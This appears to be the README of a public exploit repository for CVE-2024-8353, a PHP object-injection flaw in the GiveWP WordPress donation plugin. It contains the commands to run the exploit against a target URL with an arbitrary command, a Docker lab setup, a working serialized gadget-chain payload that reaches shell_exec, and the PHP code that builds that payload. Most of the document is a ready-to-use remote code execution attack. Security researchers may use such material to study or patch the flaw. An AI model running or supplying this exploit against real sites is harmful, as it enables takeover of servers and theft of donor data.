git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

pip install -r requirements.txt

# Remote code execution
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

pecl install xdebug

[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

\O:19:"Stripe\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\PaymentGateways\\DataTransferObjects\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\Vendors\\Faker\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\Onboarding\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}